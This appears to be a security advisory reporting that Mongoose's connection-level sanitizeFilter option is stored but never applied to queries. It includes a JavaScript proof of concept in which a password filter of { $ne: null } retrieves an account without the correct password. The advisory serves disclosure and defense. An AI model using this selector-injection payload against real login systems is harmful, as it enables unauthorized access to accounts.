Mongoose: Connection-level sanitizeFilter not applied

Summary

sanitizeFilter exists to stop query selector injection: it wraps operator objects such as { $ne: null } in filter values in $eq, so they are matched literally. Set on a connection with mongoose.connect() or createConnection(uri, { sanitizeFilter: true }), the connection reports it as enabled but queries never apply it. An application that relies on the connection-level option and passes an attacker-controlled object into a filter therefore remains open to selector injection, and a password value of { $ne: null } returns the account record without the password.

Details

NativeConnection#createClient() at lib/drivers/node-mongodb-native/connection.js:270-272 moves options.sanitizeFilter into Connection.config and deletes the original option. Query#_castConditions() at lib/query.js:2413-2423 checks Connection.options, the global options, and the per-query options, but never Connection.config. The defense therefore does not run even though Connection#get('sanitizeFilter') returns true. This storage was introduced in Mongoose 6.0.0 and the same mismatch is present in 9.11.2.

Proof of concept

import mongoose from 'mongoose'

const conn = await mongoose.createConnection('<MONGODB_URI>', { sanitizeFilter: true }).asPromise()
const User = conn.model('User', new mongoose.Schema({
  username: String,
  password: String,
  marker: String
}))

await User.create({
  username: 'victim',
  password: 'correct-password',
  marker: 'PROTECTED_RECORD'
})

const filter = { username: 'victim', password: { $ne: null } }
console.log(conn.get('sanitizeFilter'))
console.log((await User.findOne(filter).lean()).marker)

A control query with a literal wrong password returned no document in the same run, confirming the filter is otherwise enforced.

Impact

Connection-level sanitizeFilter option is not respected. Any user that relies on connection-level config and sanitizeFilter to defend against query selector injection is affected. Users that set sanitizeFilter globally using mongoose.set('sanitizeFilter') or on specific queries using Model.find().sanitizeFilter() are not affected.